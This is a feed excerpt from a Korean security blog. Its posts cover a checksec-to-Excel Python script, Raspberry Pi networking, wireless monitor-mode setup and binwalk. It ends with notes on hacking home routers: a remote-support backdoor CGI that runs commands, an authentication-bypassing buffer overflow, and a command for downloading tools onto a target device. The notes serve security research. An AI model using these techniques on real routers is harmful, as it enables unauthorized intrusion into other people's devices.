            self.sheet.cell(row = self.row, column = 4).value = &#39;No canary found&#39;
        else:
            self.sheet.cell(row = self.row, column = 4).value = &#39;-&#39;

        if not flag[&#39;PIE&#39;]:
            self.sheet.cell(row = self.row, column = 6).value = &#39;No PIE&#39;
        else:
            self.sheet.cell(row = self.row, column = 6).value = &#39;-&#39;

        if not flag[&#39;RELRO&#39;]:
            self.sheet.cell(row = self.row, column = 3).value = &#39;No RELRO&#39;
        else:
            self.sheet.cell(row = self.row, column = 3).value = &#39;-&#39;

        if not flag[&#39;NX&#39;]:
            self.sheet.cell(row = self.row, column = 5).value = &#39;NX disabled&#39;
        else:
            self.sheet.cell(row = self.row, column = 5).value = &#39;-&#39;

        if not flag[&#39;RPATH&#39;]:
            self.sheet.cell(row = self.row, column = 7).value = &#39;No RPATH&#39;
        else:
            self.sheet.cell(row = self.row, column = 7).value = &#39;-&#39;

        if not flag[&#39;RUNPATH&#39;]:
            self.sheet.cell(row = self.row, column = 8).value = &#39;No RUNPATH&#39;
        else:
            self.sheet.cell(row = self.row, column = 8).value = &#39;-&#39;

        self.sheet.cell(row=self.row, column = 1).value = self.row - 1
        # self.sheet.cell(row=self.row, column = 3).value = &#39;-&#39;
        # self.sheet.cell(row=self.row, column = 5).value = &#39;-&#39;
        # self.sheet.cell(row=self.row, column = 7).value = &#39;-&#39;
        # self.sheet.cell(row=self.row, column = 8).value = &#39;-&#39;

        self.row = self.row + 1
        print(f&#39;[*] {filename} : row {self.row} added&#39;)

    def set_flag(self, line):
        flag = {
            &#39;RELRO&#39; : True,
            &#39;Canary&#39; : True,
            &#39;NX&#39; : True,
            &#39;PIE&#39; : True,
            &#39;RPATH&#39; : True,
            &#39;RUNPATH&#39; : True
        }

        if &#39;No canary found&#39; in line:
            flag[&#39;Canary&#39;] = False

        if &#39;No PIE&#39; in line:
            flag[&#39;PIE&#39;] = False

        if &#39;No RELRO&#39; in line:
            flag[&#39;RELRO&#39;] = False

        if &#39;NX disabled&#39; in line:
            flag[&#39;NX&#39;] = False

        if &#39;No RPATH&#39; in line:
            flag[&#39;RPATH&#39;] = False

        if &#39;No RUNPATH&#39; in line:
            flag[&#39;RUNPATH&#39;] = False

        return flag

    def check(self, line):
        filename = re.split(r&#39; {2,}&#39;, line)[-1].split(&#39;\t&#39;)[-1].split(&#39;/&#39;)[-1]
        flag = self.set_flag(line)

        self.write(filename, flag)

    def run(self):
        data_split = self.parse()
        for line in data_split:
            self.check(line)
        self.save()

    def save(self):
        self.workbook.save(&#39;result.xlsx&#39;)


if __name__ == &quot;__main__&quot;:
    excel = Excel()
    excel.run()</code></pre>
<p>실행 흐름을 따라가며 각 함수의 기능에 대해 알아보도록 하자.</p>
<h3 id="run">run</h3>
<pre><code class="language-python">def run(self):
    data_split = self.parse()
    for line in data_split:
        self.check(line)
    self.save()</code></pre>
<p><code>Excel</code> 클래스 생성 후 가장 먼저 호출하는 함수. 모듈화 해 놓은 각 기능들을 한 번에 호출하는 용도로 만들어 두었다. parse, check, save 순으로 실행됨.</p>
<h3 id="parse">parse</h3>
<pre><code class="language-python">def parse(self):
    f = open(&#39;log.txt&#39;, &#39;r&#39;)
    data = f.read()
    data_split = data.split(&#39;\n&#39;)[1::2]
    return data_split</code></pre>
<p>log.txt 파일을 열어서 개행문자 <code>\n</code>를 기준으로 데이터를 쪼갠다. 참고로 아래 사진을 보면 두 줄 간격으로 의미 있는 데이터가 존재한다. 따라서 <code>[1::2]</code>과 같이 간격을 두고 <code>split</code> 하여 저장하였다.</p>
<p><img src="https://velog.velcdn.com/images/wisdom_lee/post/3405af62-ccfe-49bd-85c5-ddd2692e8ee1/image.png" alt=""></p>
<h3 id="check">check</h3>
<pre><code class="language-python">def check(self, line):
    filename = re.split(r&#39; {2,}&#39;, line)[-1].split(&#39;\t&#39;)[-1].split(&#39;/&#39;)[-1]
    flag = self.set_flag(line)
    self.write(filename, flag)</code></pre>
<p>정규표현식으로 파일 이름을 가져온 뒤, <code>set_flag</code> 함수를 호출하여 보호 기법 활성화 여부를 체크한다. 그리고 <code>write</code> 함수에서 <code>self.sheet.cell(row = self.row, column = N).value</code>의 값을 지정해준다. (각 셀에 데이터를 채우는 과정임) </p>
<h3 id="save">save</h3>
<pre><code class="language-python">def save(self):
    self.workbook.save(&#39;result.xlsx&#39;)</code></pre>
<p><code>self.workbook</code>은 <code>openpyxl</code> 패키지에서 제공되는 객체이다. workbook: 엑셀 파일, worksheet: 엑셀 시트 cell: 엑셀 한 칸 이라고 생각하면 될 것 같다. 아무튼 <code>result.xlsx</code>라는 파일로 저장하면 모든 과정은 끝난다.</p>
<h2 id="result">Result</h2>
<p>파일명은 가렸고, 다음과 같이 <code>Canary</code>와 <code>PIE</code>가 비활성화 된 바이너리 리스트만 출력할 수 있었다. 이렇게 필터링 해서 뽑아놓고 세부적으로 점검하면 되겠지. <code>python</code>으로 툴링하는 게 왜 이렇게 재미있는지 모르겠다. 마법같은 언어야.</p>
<p><img src="https://velog.velcdn.com/images/wisdom_lee/post/8d718691-0e8a-4b4b-befe-9e498526ff7f/image.png" alt=""></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[랜선만으로 SSH 접속하기 with 라즈베리파이]]></title>
            <link>https://velog.io/@wisdom_lee/%EB%9E%9C%EC%84%A0%EB%A7%8C%EC%9C%BC%EB%A1%9C-SSH-%EC%A0%91%EC%86%8D%ED%95%98%EA%B8%B0-with-%EB%9D%BC%EC%A6%88%EB%B2%A0%EB%A6%AC%ED%8C%8C%EC%9D%B4</link>
            <guid>https://velog.io/@wisdom_lee/%EB%9E%9C%EC%84%A0%EB%A7%8C%EC%9C%BC%EB%A1%9C-SSH-%EC%A0%91%EC%86%8D%ED%95%98%EA%B8%B0-with-%EB%9D%BC%EC%A6%88%EB%B2%A0%EB%A6%AC%ED%8C%8C%EC%9D%B4</guid>
            <pubDate>Fri, 04 Mar 2022 02:18:55 GMT</pubDate>
            <description><![CDATA[<h1 id="materials">Materials</h1>
<p>준비물은 다음과 같다.</p>
<ol>
<li>이더넷 연결이 가능한 라즈베리파이나 기타 장비</li>
<li>PC</li>
<li>랜선</li>
</ol>
<h1 id="steps">Steps</h1>
<h2 id="step-1--랜선-연결">Step 1 : 랜선 연결</h2>
<p>연결할 장비와 PC를 랜선으로 연결한다.</p>
<h2 id="step-2--네트워크-설정">Step 2 : 네트워크 설정</h2>
<p><img src="https://images.velog.io/images/wisdom_lee/post/4e2ecbe2-af32-48f7-8016-8efbfc9d31b8/image.png" alt=""></p>
<ul>
<li>네트워크 상태 - 어댑터 옵션 변경</li>
</ul>
<p><img src="https://images.velog.io/images/wisdom_lee/post/24f0f760-a828-4a4c-a567-fbd5b8cf3cf2/image.png" alt=""></p>
<ul>
<li>Wi-Fi: 현재 PC가 접속한 네트워크</li>
<li>랜선을 연결하면 <code>이더넷~</code> 이라는 이름의 인터페이스가 생겨 있을 것이다.</li>
</ul>
<p><img src="https://images.velog.io/images/wisdom_lee/post/e8dbd29c-91e3-492d-a269-58b50d55b63c/image.png" alt=""></p>
<ul>
<li>위와 같이 Wi-Fi 인터페이스의 인터넷 연결 공유 설정을 진행한다.</li>
<li>내가 연결할 장비의 이더넷 인터페이스를 지정한다.</li>
</ul>
<p><img src="https://images.velog.io/images/wisdom_lee/post/b28787c1-6526-41d7-981a-bd520bdac984/image.png" alt=""></p>
<ul>
<li>그리고 이더넷 인터페이스 설정을 확인해봐야 한다.</li>
<li>자동으로 IPv6/DNS 서버 주소 받기로 선택되어 있으면 대부분 잘 된다.</li>
</ul>
<h2 id="step-3--ip-확인">Step 3 : IP 확인</h2>
<pre><code class="language-bash">&gt; arp -a</code></pre>
<ul>
<li>IP 스캐닝 도구를 쓸 수도 있는데 arp -a 명령어를 통해 간단히 확인이 가능하다.</li>
<li>자동으로 IP 주소를 받게끔 설정이 되어 있는 경우 라즈베리파이는 <code>192.168.137.X</code>의 IP 주소를 할당받았을 것이다.</li>
<li>해당 IP로 ssh 접속을 하면 잘 된다.</li>
</ul>
<h1 id="트러블슈팅">트러블슈팅</h1>
<aside>
💡 IP 주소 할당이 안 된다?
</aside>

<ul>
<li>이것 때문에 삽질을 엄청 했었다.</li>
<li>나의 경우는 USB ctype-LAN 젠더의 문제였다.</li>
<li>다른 젠더로 변경하니 바로 IP 주소가 할당되었다.</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[TL-WN725N 모니터 모드 활성화]]></title>
            <link>https://velog.io/@wisdom_lee/TL-WN725N-%EB%AA%A8%EB%8B%88%ED%84%B0-%EB%AA%A8%EB%93%9C-%ED%99%9C%EC%84%B1%ED%99%94</link>
            <guid>https://velog.io/@wisdom_lee/TL-WN725N-%EB%AA%A8%EB%8B%88%ED%84%B0-%EB%AA%A8%EB%93%9C-%ED%99%9C%EC%84%B1%ED%99%94</guid>
            <pubDate>Fri, 04 Mar 2022 02:03:03 GMT</pubDate>
            <description><![CDATA[<p>회사일과 함께 틈틈히 이것저것 공부하고 있긴 한데, 주로 Notion에 정리해놓다보니 Velog는 방치되는 상황이 발생해버렸다..😋 Notion에 기록한 정보들을 공유하고 싶기 때문에 앞으로 짬내서 옮겨놓아야겠다!</p>
<h1 id="개요">개요</h1>
<p><img src="https://images.velog.io/images/wisdom_lee/post/fae86f68-a4e0-4c30-9a28-7ee957d08ed7/image.png" alt=""></p>
<p>IoT 기기 분석을 하다보면, 모니터 모드로 패킷을 잡거나 보낼 일이 종종 생기곤 한다. 그래서 <code>TL-WN725N</code>라는 무선 랜카드를 구입했다.</p>
<p>별다른 리눅스 드라이버 설치 없이 <code>wlan0</code> 인터페이스가 잡히길래 바로 아래와 같이 모니터 모드를 활성화 하려고 했는데, 역시나 안 되었다.</p>
<p><em>명령어:</em></p>
<pre><code class="language-bash">ifconfig wlan0 down
iwconfig wlan0 mode monitor
ifconfig wlan0 up

# 또는
airmon-ng check kill
airmon-ng start wlan0</code></pre>
<p><em>실행 결과:</em></p>
<pre><code class="language-bash">Error for wireless request &quot;Set Mode&quot; (8B06) :
SET failed on device wlan0 ; Invalid argument.</code></pre>
<p>구글링을 좀 해보니 아래 과정대로 모니터 모드를 활성화 시킬 수 있다고 해서 해봤는데,</p>
<pre><code class="language-bash">sudo apt update
sudo apt upgrade
sudo apt install bc
sudo rmmod r8188eu.ko
git clone https://github.com/aircrack-ng/rtl8188eus.git
cd rtl8188eus
sudo -i
echo &quot;blacklist r8188eu.ko&quot;&gt;&quot;/etc/modprobe.d/realtek.conf&quot;
exit
make
sudo make install
sudo modprobe 8188eu</code></pre>
<p>현재 커널 버전에 맞는 <code>linux-headers</code>를 <code>apt-get</code>으로 설치하지 못해서 <code>make</code>, <code>sudo make install</code>시 에러가 발생했다.</p>
<p><code>Makefile</code>에서 <code>KVER = 5.10.0-kali7-amd64</code>로 맞추거나 <code>modules</code> 폴더명을 변경후 진행하면 <code>make</code>는 잘 되지만 <code>make install</code>에서 문제가 발생했다.</p>
<h1 id="해결">해결</h1>
<p>커널 버전을 업그레이드 해줌으로써 해결</p>
<h2 id="1">#1</h2>
<pre><code class="language-bash">$ sudo apt-get install linux-headers-5.10.0-kali7-amd64
$ sudo cp /lib/modules/5.10.0-kali7-amd64 /lib/modules/5.10.0-kali3-amd64/ -rf
$ sudo ln -s /lib/modules/5.10.0-kali7-amd64/build /lib/modules/5.10.0-kali3-amd64/build</code></pre>
<pre><code class="language-bash">echo &#39;blacklist r8188eu&#39;|sudo tee -a &#39;/etc/modprobe.d/realtek.conf&#39;
make &amp;&amp; sudo make install
sudo reboot
sudo airmon-ng check kill
sudo ip link set &lt;interface&gt; down
sudo iw dev &lt;interface&gt; set type monitor</code></pre>
<p>그런데 VirtualBox 말고 VMWare에서 설치했더니 header 파일을 다시 다운로드 할 필요가 없었다. (환경에 따라 다를 수 있음!)</p>
<h2 id="2">#2</h2>
<p>또 다른 방법으로는, <code>sudo apt-get dist-upgrade</code>를 통해 업그레이드를 선행해주면 된다. 결론적으로는 헤더 버전과 커널 버전의 미스매치로 인해 오류가 발생할 수 있다는 것!</p>
<pre><code class="language-bash">sudo apt-get -y dist-upgrade # 헤더 버전 안 맞을 때
reboot
sudo apt-get install -y linux-headers-$(uname -r) bc

git clone https://github.com/aircrack-ng/rtl8188eus
cd rtl8188eus
make &amp;&amp; sudo make install</code></pre>
<h1 id="networkmanager">NetworkManager</h1>
<p>여기까지 설정한 뒤 <code>wlan0</code> 인터페이스에 대해 모니터모드를 활성화하면<code>Monitor</code> 모드로 바뀐다.</p>
<p><em>모니터 모드로 바뀐 모습:</em></p>
<pre><code class="language-bash">┌──(kali㉿kali)-[~]
└─$ iwconfig
wlan0     unassociated  Nickname:&quot;&lt;WIFI@REALTEK&gt;&quot;
          Mode:Monitor  Frequency=2.412 GHz
          # ...</code></pre>
<p>이제 이 상태에서 <code>NetworkManager</code> 설정만 변경해주면 모든 과정이 완료된다.</p>
<p><code>NetworkManager</code>는 주기적으로 모든 인터페이스를 모니터링하면서 관리하는데, <code>Monitor</code> 모드로 전환된 인터페이스에 접근하면서 오동작을 유발할 수 있다.</p>
<p>따라서 <code>wlan0</code> 인터페이스를 별도로 관리하지 않도록 설정해주어야 한다.</p>
<p><code>/etc/NetworkManager/NetworkManager.conf</code> 하위에 추가:</p>
<pre><code>[keyfile]
unmanaged-devices=interface-name:mon*;interface-name:wlan1;mac:AA:BB:CC:DD:EE:FF</code></pre><p>위 <code>AA:BB:CC:DD:EE:FF</code> 대신 인터페이스의 MAC 주소를 입력해주면 된다. (MAC 주소는 <code>ifconfig</code>, <code>ip</code> 커맨드를 통해 확인 가능)</p>
<p>이후 네트워크 서비스를 재시작 하거나 재부팅 하면 설정이 적용된다.</p>
<pre><code class="language-bash">service network-manager restart

# 또는
systemctl restart NetworkManager

# 또는
reboot</code></pre>
<p>끝😁</p>
<h1 id="스크립트">스크립트</h1>
<p>재부팅 하면 <code>Monitor</code> 모드가 <code>Managed</code> 모드로 바뀌는데, 그럴 때마다 매번 커맨드를 입력하기 귀찮아서 아래와 같이 스크립트를 작성해두면 좋다.</p>
<pre><code class="language-bash">#!/bin/bash

sudo airmon-ng check kill
sudo ip link set wlan0 down
sudo iw dev wlan0 set type monitor
sudo ip link set wlan0 up
ifconfig
iwconfig</code></pre>
<pre><code class="language-bash">#!/bin/bash

airmon-ng start wlan0
airmon-ng check kill
iwconfig</code></pre>
<h1 id="references">References</h1>
<hr>
<p>에러 해결을 위해 참고한 페이지들..</p>
<ul>
<li><a href="https://forums.kali.org/showthread.php?48918-How-to-Make-the-TL-WN722N-and-TL-WN725N-in-Monitor-mode-in-kali-(Virtual-Box)">How to Make the TL-WN722N and TL-WN725N in Monitor mode in kali (Virtual Box)</a></li>
<li><a href="https://unix.stackexchange.com/questions/328655/cant-install-linux-headers-kali-linux">Can&#39;t install Linux Headers (Kali Linux)</a></li>
<li><a href="https://github.com/aircrack-ng/rtl8188eus/issues/64">Make error aircrack-ng/rtl8188eus Issue #64</a></li>
<li><a href="https://askubuntu.com/questions/873469/tp-link-tl-wn725n-v2-driver-install-issue">TP Link TL-WN725N (v2) driver install issue</a></li>
<li><a href="https://github.com/aircrack-ng/rtl8188eus/issues/106#issuecomment-759163008">Make error on rtl8188eus file aircrack-ng/rtl8188eus Issue #106</a></li>
<li><a href="https://github.com/aircrack-ng/rtl8188eus">aircrack-ng/rtl8188eus</a></li>
<li><a href="https://gitlab.com/gilgil/sns/-/wikis/monitor-mode/monitor-mode?version_id=0fa3bb6a95bd7417541678bd63e60cc0fc07096c">monitor mode - gilgil</a></li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[binwalk extract(-e) 안될 때]]></title>
            <link>https://velog.io/@wisdom_lee/binwalk-extract-e-%EC%95%88%EB%90%A0-%EB%95%8C</link>
            <guid>https://velog.io/@wisdom_lee/binwalk-extract-e-%EC%95%88%EB%90%A0-%EB%95%8C</guid>
            <pubDate>Mon, 31 May 2021 03:12:02 GMT</pubDate>
            <description><![CDATA[<h1 id="명령어">명령어</h1>
<pre><code class="language-python">binwalk --dd=&#39;.*&#39; kt.img</code></pre>
<h1 id="확장자-파싱">확장자 파싱</h1>
<pre><code class="language-bash">#!/bin/bash

for FILE in `ls`
do
        STR=`file $FILE`
        if [[ $STR == *&#39;ELF&#39;* ]] ;then
                mv $FILE $FILE.elf
        fi
done</code></pre>
<ul>
<li><p>아주 아주 간단한 스크립트로 파일 확장자를 파싱할 수 있다.</p>
</li>
<li><p>위의 경우 ELF 파일을 <code>*.elf</code> 형식으로 바꿔준다.</p>
</li>
</ul>
<pre><code class="language-bash">❯ ls
0  13CA4  144E8D  144F01  151704  151BC0  152258  40500  4BE8  60000  7A2C8  9CEAD  elf.sh  F0000
❯ vi elf.sh
❯ ./elf.sh
❯ ls
0.elf  13CA4  144E8D  144F01  151704  151BC0  152258  40500  4BE8  60000.elf  7A2C8  9CEAD  elf.sh  F0000.elf</code></pre>
<ul>
<li>실행 결과</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[라즈베리파이 NetworkManager에서 와이파이가 잡히지 않을 때]]></title>
            <link>https://velog.io/@wisdom_lee/NetworkManager%EC%97%90%EC%84%9C-%EC%99%80%EC%9D%B4%ED%8C%8C%EC%9D%B4%EA%B0%80-%EC%9E%A1%ED%9E%88%EC%A7%80-%EC%95%8A%EC%9D%84-%EB%95%8C</link>
            <guid>https://velog.io/@wisdom_lee/NetworkManager%EC%97%90%EC%84%9C-%EC%99%80%EC%9D%B4%ED%8C%8C%EC%9D%B4%EA%B0%80-%EC%9E%A1%ED%9E%88%EC%A7%80-%EC%95%8A%EC%9D%84-%EB%95%8C</guid>
            <pubDate>Mon, 31 May 2021 03:09:29 GMT</pubDate>
            <description><![CDATA[<blockquote>
<p>환경 : 칼리 리눅스 in 라즈베리파이</p>
</blockquote>
<pre><code class="language-python">$ ifconfig eth0 down
$ ifconfig wlan0 up

$ iwlist wlan0 scan # ssid 발견

$ wpa_passphrase [ssid]
network={
    ...
}

$ vi /etc/wpa_supplicant/wpa_supplicant.conf
# wpa_passphrase 결과 copy-paste

$ iwconfig wlan0 essid [ssid]
$ wpa_supplicant -iwlan0 -c/etc/wpa_suppliant/wpa_supplicant.conf &amp;
# iwconfig로 확인시 Access Point가 잡혀 있을 것

$ dhclient wlan0 &amp;
# ip 주소 할당까지 받으면 완료</code></pre>
<ul>
<li>이것저것 삽질을 하다가 NetworkManager로는 못 하고, 결국 CLI로 연결을 했다.</li>
<li>잘 안 되면 wpa_supplicant 전후로 <code>rebooot</code> 해주기</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[유무선공유기 해킹]]></title>
            <link>https://velog.io/@wisdom_lee/%EC%9C%A0%EB%AC%B4%EC%84%A0%EA%B3%B5%EC%9C%A0%EA%B8%B0-%ED%95%B4%ED%82%B9</link>
            <guid>https://velog.io/@wisdom_lee/%EC%9C%A0%EB%AC%B4%EC%84%A0%EA%B3%B5%EC%9C%A0%EA%B8%B0-%ED%95%B4%ED%82%B9</guid>
            <pubDate>Thu, 06 May 2021 16:29:29 GMT</pubDate>
            <description><![CDATA[<p>적고 보니 두서 없이, 자세하지 않게 정리가 된 것 같다. 요즘은 일도 바쁘고 이것저것 벌여 놓은 일이 많아서 정돈된 글을 적기가 참 힘들다. 추후 여유가 생기면 해당 포스팅을 다시 다듬어야겠다.</p>
<h1 id="취약점-탐지-전략">취약점 탐지 전략</h1>
<h2 id="어택-벡터">어택 벡터</h2>
<ul>
<li>부팅 과정 중 개발자의 실수</li>
<li>입력 받는 대상 파악<ul>
<li>입력을 가할 수 있는 부분이 취약점을 얻어낼 수 있는 부분</li>
<li>대표적으로 웹페이지 쪽</li>
</ul>
</li>
<li>논리적 취약점<ul>
<li>부팅 시퀀스에서 실수한 부분</li>
<li>플래그 값을 가지고 서로 다른 액션을 하는데, 플래그가 쉽게 바뀔 수 있는 경우</li>
</ul>
</li>
<li>버퍼 오버플로우, 포맷 스트링 등..</li>
</ul>
<h2 id="디버깅">디버깅</h2>
<ul>
<li>취약점을 찾아서 분석 + 쉘코드 작성을 해서 공략을 하려고 해도, 한 번에 되기 쉽지 않다.</li>
<li>디버깅을 해야 공격코드의 문제점 등을 파악할 수 있다.</li>
<li>익스플로잇 코드를 만들기 전에도 디버깅을 통해서 취약점을 찾거나, 공격 설계를 하거나 할 수 있다.</li>
</ul>
<h1 id="부팅과정-분석">부팅과정 분석</h1>
<ul>
<li>보통은 <code>/etc/init.d/rcS</code> 스크립트가 실행된다.</li>
</ul>
<h1 id="프로세스-목록">프로세스 목록</h1>
<ul>
<li>프로세스 목록을 확인하면 공격 벡터로 삼을만한 부분을 예측할 수 있다.</li>
<li><code>upnp, httpd, /sbin/dhcpd</code> ...</li>
</ul>
<h2 id="boa-web-server">Boa Web Server</h2>
<ul>
<li><code>/var/boa_vh.conf</code></li>
<li>웹서버 종류에 따라서 이미 웹서버에 알려진 취약점이 있을 수 있다.</li>
<li>특정 임베디드용 웹서버가 올라가 있다? → 버전 확인 → 알려진 취약점 탐색</li>
<li>알려진 취약점을 공격해서 익스플로잇</li>
<li>개발용 <code>cgi</code> 등은 백도어로 쓰일 수 있다.</li>
</ul>
<h2 id="homehttpd">/home/httpd</h2>
<ul>
<li><code>index.html</code></li>
<li>login/login.cgi 등을 호출</li>
<li><code>boa</code> 웹서버 설정 내용을 보면 <code>Alias</code>가 존재하기도 한다.</li>
</ul>
<h2 id="cgi">CGI</h2>
<ul>
<li>IPTIME은 필요한 내용들만 구현해서 쓴다고 한다.</li>
</ul>
<blockquote>
<p>CGI는 실행 파일</p>
</blockquote>
<ul>
<li><code>CGI</code>는 <code>C</code>로 만든 애플리케이션이라고 생각하면 된다!</li>
<li>요즘은 <code>CGI</code> 개발을 잘 안 하고, <code>Python</code>이나 <code>Go</code> 등 사용하기 쉽고 개발 생태계가 활성화 되어있는 것들을 사용한다.</li>
<li><code>스크립트</code>도 가끔 쓰인다.</li>
</ul>
<h1 id="정적-분석">정적 분석</h1>
<ul>
<li><code>CGI</code>를 가지고 취약점 탐색</li>
<li>입력 받는 부분, 장비 내에서 실행되는 바이너리 등</li>
<li><code>strcpy, sprintf, system, strcat, execl, getenv</code></li>
<li>바운더리 체크를 하지 않고 버퍼를 복사하는 경우</li>
<li>환경변수에 긴 문자열을 넣어서 쓸 수도 있다.</li>
</ul>
<h1 id="동적-분석">동적 분석</h1>
<ul>
<li>실제로 <code>CGI</code>를 실행하면서 어떤 함수들이 호출되는지를 쉽게 파악할 수 있는 도구들을 이용<ul>
<li><code>ltrace</code> : 라이브러리 호출 보여줌</li>
<li><code>strace</code> : 시스템 호출 보여줌</li>
<li><code>gdb</code> : 디버깅</li>
</ul>
</li>
<li>에뮬레이터, 백도어, UART 등을 이용해서 쉘을 활용하며 동적으로 분석</li>
<li>동적 분석을 하기 위해서는 바이너리를 빌드해서 올려야 하는 경우가 대부분<ul>
<li>판매용 제품에 디버깅 툴을 넣어 놓지는 않기 때문</li>
<li>이유 : 필요 없어서, 디버깅 툴은 사이즈를 많이 잡아먹기 때문</li>
</ul>
</li>
</ul>
<h1 id="arm-기반-디버깅">ARM 기반 디버깅</h1>
<blockquote>
<p>필요한 도구 : gdb, strace, ltrace</p>
</blockquote>
<ul>
<li><code>static</code>으로 빌드한 경우 바로 실행을 할 수 있다.</li>
<li><code>qemu</code> 이미지로 만들어서 돌려볼 수 있긴 한데 실제로 이렇게까지 할 필요는 없다.</li>
<li>예전에는 실행을 하려면 별도의 패키지를 설치해야 했는데, 요즘은 바로 실행 가능하다.</li>
</ul>
<h2 id="strace-컴파일">strace 컴파일</h2>
<ul>
<li>디버깅 툴이 기본적으로 안 올라가 있다.</li>
<li>장비에서 동적으로 분석을 하기 위해서는 컴파일을 하거나, 컴파일 된 것을 구해야 한다.</li>
<li>인터넷을 뒤져보면 누가 <code>static</code>으로 빌드해서 올려놓은 것들이 종종 있다. 그걸 이용하거나 직접 빌드를 해야 한다.</li>
</ul>
<h2 id="프로세스-실행-모니터링">프로세스 실행 모니터링</h2>
<pre><code class="language-python">strace -i -f -p PID -e trace=execve</code></pre>
<ul>
<li>시스템 콜 호출 확인</li>
</ul>
<h2 id="gdb--gdbserver-컴파일">gdb &amp; gdbserver 컴파일</h2>
<blockquote>
<p>임베디드 쪽을 한다고 하면 꼭 필요한 지식</p>
</blockquote>
<ul>
<li><code>strace</code>, <code>ltrace</code>는 없어도 되지만 <code>gdb</code> 없이는 동적으로 분석할 수 없다.</li>
<li><code>gdbserver</code>를 보통 타겟에다가 넣고, <code>gdb</code>는 크로스 컴파일을 한다.</li>
<li><code>gdbserver</code>를 쓰면 네트워크나 시리얼 포트를 이용해서 데스크탑 <code>gdb</code>와 연결을 해야 한다.</li>
</ul>
<blockquote>
<p>gdbserver를 왜 쓰느냐?</p>
</blockquote>
<ul>
<li><code>gdb</code>를 빌드해서 올리기 어려운 환경일 수도 있다.</li>
<li><code>gdb</code> 자체가 사이즈가 꽤 크다.</li>
<li>아니면 <code>gdb</code>를 타겟용으로 빌드하는데 문제가 생길 수도 있다.</li>
<li>즉, 제품을 개발할 수 있는 환경을 그대로 구성하지 못하면 디버깅 하기 매우 어렵다.</li>
</ul>
<h2 id="ltrace-컴파일">ltrace 컴파일</h2>
<ul>
<li>컴파일시 에러가 매우 많이 나온다. <code>buildroot</code>를 이용하는 것을 권장</li>
<li><code>buildroot</code>를 이용하면 <code>ltrace</code>, <code>strace</code> 다 쉽게 얻을 수 있다.</li>
</ul>
<h1 id="buildroot--yocto">Buildroot &amp; Yocto</h1>
<blockquote>
<p>yocto : 요즘 많이 쓰는 임베디드쪽 빌드 시스템</p>
</blockquote>
<ul>
<li>이미 세팅이 되어 있는 내용들이 있음 like Makefile<ul>
<li><code>Makefile</code>은 일종의 스크립트 처럼 빌드 절차를 나열해 놓고, 미리 정의된 내용이 실행되어 결과물을 쉽게 얻을 수 있는 아주 기본적인 빌드 시스템이다.</li>
<li><code>yocto</code>도 비슷하다.</li>
</ul>
</li>
<li><code>yocto</code>에서의 Makefile 같은 것을 <code>레시피</code>라고 한다.</li>
<li><code>레시피</code>에 나와 있는 것을 그대로 쓰면 똑같은 결과물이 나온다.</li>
<li><code>yocto</code>에서 빌드를 하면 부트로더, 커널, 파일시스템 등을 정해진 설정대로 쉽게 만들 수 있다.</li>
</ul>
<blockquote>
<p>장점 : 어떤 환경에서든 똑같은 결과물을 낼 수 있다!</p>
</blockquote>
<ul>
<li><code>yocto</code>가 나오기 전에 썼던 빌드 시스템이 <code>Buildroot</code>이다.</li>
<li>여기서도 부트로더, 커널, 루트파일시스템을 다 빌드할 수 있다.</li>
<li><code>yocto</code>는 방대한 시스템을 전체적으로 다 빌드해주는 대신, 설정을 임의로 할 수 있는 부분이 별로 없다.</li>
<li>반면 <code>buildroot</code>는 거대한 시스템 보다는 작은 시스템에 맞춰진 툴이다.</li>
<li>특정 타겟에 고정되어 있다기 보다는 유도리 있게 설정할 수 있게끔 기능을 제공한다.</li>
<li>지금도 간단한 시스템에는 많이 쓰인다고 한다.</li>
</ul>
<h1 id="외부-파일-다운로드">외부 파일 다운로드</h1>
<blockquote>
<p>어떤 툴들이 존재하는지 확인을 해야 함</p>
</blockquote>
<ul>
<li><code>wget, nc, scp, ftp, rz</code></li>
<li><code>/sbin/http</code></li>
</ul>
<pre><code class="language-python">/sbin/http get http://IP/gdb &gt; gdb</code></pre>
<ul>
<li><code>http</code> 프로토콜을 사용해서 웹페이지나 파일을 다운로드 받을 수 있다.</li>
<li>네트워크가 안 되더라도 시리얼 프로토콜로 연결할 수 있다.</li>
</ul>
<h1 id="임베디드-기기의-용량-문제">임베디드 기기의 용량 문제</h1>
<ul>
<li>램 파일시스템(<code>RAMFS</code>)을 사용해서 파일을 다운로드 받아서 실행할 수 있다.</li>
<li>이것 조차도 얼마 안 남아있을 수도..</li>
<li>최소 <code>16MB~32MB</code> 정도?</li>
</ul>
<h1 id="발견된-취약점">발견된 취약점</h1>
<ul>
<li>원격 관리용 백도어</li>
<li><code>netdetect.cgi</code>의 원격 bof 취약점</li>
<li>그 외<ul>
<li><code>smtp command injection</code></li>
<li><code>httpd</code></li>
<li><code>apcpd</code></li>
</ul>
</li>
<li>시간 지나면 금방 패치된다.</li>
</ul>
<h2 id="원격-관리용-백도어">원격 관리용 백도어</h2>
<blockquote>
<p>관련 슬라이드는 해커스쿨 Home Router Hacking 자료를 참고</p>
</blockquote>
<ul>
<li>2007년도에 이슈가 되었다.</li>
<li>내부 명령 실행, 파일 열람 모두 가능</li>
<li>디버깅과 개발 시 편의성을 위해 만들어진 페이지</li>
</ul>
<ul>
<li>패스워드(<code>Key</code>) - 리버싱을 통해 알아낼 수 있다.</li>
<li><code>strings</code>로 봤을 때 안 나오게 하려고 쪼개 놓은 경우도 있지만 리버싱 하면 다 나온다.</li>
<li>커맨드를 입력하면 <code>system</code>으로 실행되게끔 해준다.</li>
<li><code>/etc/iconfig.cfg</code></li>
<li><code>remote_support=1</code>로 활성화</li>
<li><code>cgi</code> 호출하면서 리버싱으로 알아낸 키 값을 넣어주면 커맨드가 실행된다.</li>
</ul>
<h2 id="remote-buffer-overflow">Remote Buffer Overflow</h2>
<blockquote>
<p>관련 슬라이드는 해커스쿨 Home Router Hacking 자료를 참고</p>
</blockquote>
<ul>
<li>코딩을 잘못 해서 발생한 취약점</li>
<li><code>Timepro.cgi == Netdetect.cgi</code> 심볼릭<ul>
<li><code>Netdetecgt.cgi</code>로 접근을 하면 관리자 암호 없이도 접속이 가능</li>
</ul>
</li>
<li>관리자 권한을 체크하지 않기 때문에 굉장히 크리티컬한 취약점이다.</li>
</ul>
<h2 id="url-파라미터-처리부">URL 파라미터 처리부</h2>
<ul>
